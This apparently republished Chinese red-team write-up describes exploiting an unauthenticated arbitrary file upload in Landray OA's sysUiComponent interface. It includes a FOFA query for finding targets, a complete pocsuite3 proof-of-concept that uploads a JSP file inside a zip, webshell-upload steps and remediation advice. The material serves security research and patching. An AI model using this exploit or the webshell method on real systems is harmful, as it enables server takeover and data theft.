『红蓝对抗』记一次在攻防演练中遇到的 Landra
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
日期:2024-02-20作者:hdsec介绍:记一次在攻防演练中遇到的OA坑(Landray OA sysUiComponent 任意文件上传漏洞)。 0x00 前言 在某次演练中偶然遇到某系统采用了Landray OA,并且经过尝试发现该版本的Landray OA存在sysUiComponent任意文件上传漏洞,本以为可以轻松拿下,但还是遇到了几个小问题,仅此记录一下。 Landray OA sysUiComponent接口处存在任意文件上传漏洞,未经过身份认证的攻击者可通过构造压缩文件上传恶意后门文件,执行任意代码,控制服务器,威胁企业数据安全。 0x01 关于 Landray OA 蓝凌OA是一款企业级办公自动化软件,帮助企业实现办公流程自动化、信息化管理和团队协作。它拥有丰富的功能模块,包括文档管理、流程管理、日程管理、邮件管理、任务管理、知识管理、报表统计等,可以满足企业不同层级、不同部门的需求。 蓝凌OA支持多种接入方式,包括Web、APP、微信、钉钉等,方便用户随时随地进行办公操作。同时,蓝凌OA还提供了强大的权限管理机制和安全保障措施,确保企业数据的安全可靠性。 除此之外,蓝凌OA还可以与其他企业应用进行集成,比如ERP、CRM、HRM等,为企业提供更加全面、精细化的管理服务。 蓝凌是国内数字化办公专家,阿里钉钉唯一投资的OA厂商,阿里云知识管理与协同领域首家战略合作伙伴。蓝凌OA系统是一个全方位满足成长型企业和组织日常办公需求的管理平台,具有极强的扩展性,依托蓝凌19年大客户经验,丰富的集成组件,应用灵活拓展。系统可以极佳的性价比和超低的价格实现功能服务全场景覆盖,围绕着团队成员,全面解决日常办公需求。在移动设备上,员工可以随时随地利用碎片化时间进行协作和管理,构建高效率协作团队。此外,蓝凌OA系统还打通了钉钉考勤系统和智能OA审批流程,实现了在移动设备上随时随地进行碎片化时间的组织和24小时运行。系统的工作留痕功能可以积累每天每人每事的过程,并自动汇报、沉淀和形成内部长期可用的经验分享,可建立从目标计划、到执行反馈、定期检查、以及完成总结分享的闭环工作机制。 0x02 漏洞利用 2.1 漏洞检测 fofa搜索语句: app="Landray-OA系统" 在目标网站上拼接如下路径,如果出现下图情况则可初步判断存在漏洞。 /sys/ui/sys_ui_component/sysUiComponent.do?method=upload 👇 也可以从github上下载poc进行漏洞检测。 https://github.com/Vme18000yuan/FreePOC/tree/master/poc/pocsuite import zipfilefrom pocsuite3.api import requests, POCBase, Output, register_poc, logger, OptString, VUL_TYPE, POC_CATEGORY# from pocsuite3.lib.utils import random_str class TestPOC(POCBase): vulID = '0' version = '1.0' author = 'Douglas' vulDate = '2023-11-12' createDate = '2023-11-12' updateDate = '2023-11-12' references = ['https://mp.weixin.qq.com/s/HsjgUY183BGB5qMnD1ArOw'] name = '蓝凌OA sysUiComponent 任意文件上传' appName = '蓝凌OA' appPowerLink = 'https://www.landray.com.cn' appVersion = '' vulType = VUL_TYPE.UPLOAD_FILES category = POC_CATEGORY.EXPLOITS.WEBAPP desc = ''' 蓝凌OA sysUiComponent 前台任意文件上传 ''' # dork = {'hunter': ''} # dork = {'fofa': 'app="Landray-OA系统"'} pocDesc = '''poc usage''' samples = [''] install_requires = [''] def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def createfiles(self): ''' 创建一个test.jsp和component.ini文件,其中component.ini里面的id是保存到网站的文件夹,name是保存到网站的文件名 将这个文件压缩成一个zip文件 ''' text = "<% out.println(255*255);%>" with open("test.jsp", "w") as f: f.writelines(text) f.close() with open("component.ini", 'w+') as f: f.write("id=2023" + "\n") f.write("name=test.jsp" + "\n") f.close() with zipfile.ZipFile("test.zip", 'w', zipfile.ZIP_DEFLATED) as f: f.write("component.ini", "component.ini") f.write("test.jsp", "test.jsp") f.close() def _verify(self): '''verify mode''' result = {} payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload" target = self.url + payload try: r = requests.get(url=target, timeout=15, verify=False, allow_redirects=False) # print(r.status_code) # print(r.text) if r.status_code == 200: # print(r.text) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target result['VerifyInfo']['Payload'] = payload except Exception as ex: logger.error(str(ex)) return self.parse_output(result) def _attack(self): ''' attack mode ''' result = {} # 创建压缩文件 self.createfiles() host = self.rhost port = self.rport rhost = host + ":" + str(port) headers = { "Host": rhost, "Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", "Accept-Language": "en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "Accept": "*/*", "Referer": self.url + "/sys/ui/sys_ui_component/sysUiComponent.do?method=upload", "Origin": self.url, "Connection": "close", } payload = "/sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo" target = self.url + payload files = { "file": ("test.zip", open('test.zip', 'rb'), "application/zip") } try: r = requests.post(url=target, timeout=15, verify=False, allow_redirects=False, headers=headers, files=files) # print(r.status_code) # print(r.text) if r.status_code == 200 and "directoryPath" in r.text: # print(r.text) shellpath = self.url + "/resource/ui-component/2023/test.jsp" print(shellpath) result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = target result['VerifyInfo']['Payload'] = payload except Exception as ex: logger.error(str(ex)) return self.parse_output(result) register_poc(TestPOC) 2.2 制作恶意zip文件 编写两个文件b.jsp和component.ini,其中b.jsp是构造的恶意木马文件。 component.ini文件内容如下所示,其中id值为上传后路径,name值为上传后文件名。 坑点一 不需要新建文件夹再进行压缩,直接右键压缩两项,生成zip压缩文件。 坑点二 因目标系统环境问题,上传无害文件可以成功访问到,但是上传普通🐴一落地就会被删除,需要构造特殊木马进行绕过,这里经过多次尝试免杀马、大马小马等等均已失败告终。 最终在某位大佬的指导下,成功上传某木马文件获取shell,目前该木马不方便公开。如果大家也遇到像我一样的情况,大概率是因为🐴的问题。 将生成的zip文件进行上传,如果返回下图中的{"directoryPath":"202311","status":"1"},则说明上传成功。 上传成功后,构造路径resource/ui-component/id值/name值进行访问。 成功获取目标服务器权限,后续就是进行常见的内网渗透了,由于本篇的重点不在内网渗透,不再进行赘述。 http://x.x.x.x/oa/resource/ui-component/202311/b.jsp 0x03 修复建议 1 做好权限控制,限制未授权用户直接访问系统上传功能。 2 升级到安全版本或者打补丁。 免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。 文章来源:宸极实验室 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END
- 上一篇:攻防|记某次极为顺畅的实战案例
- 下一篇:某次安全设备突破口的实战案例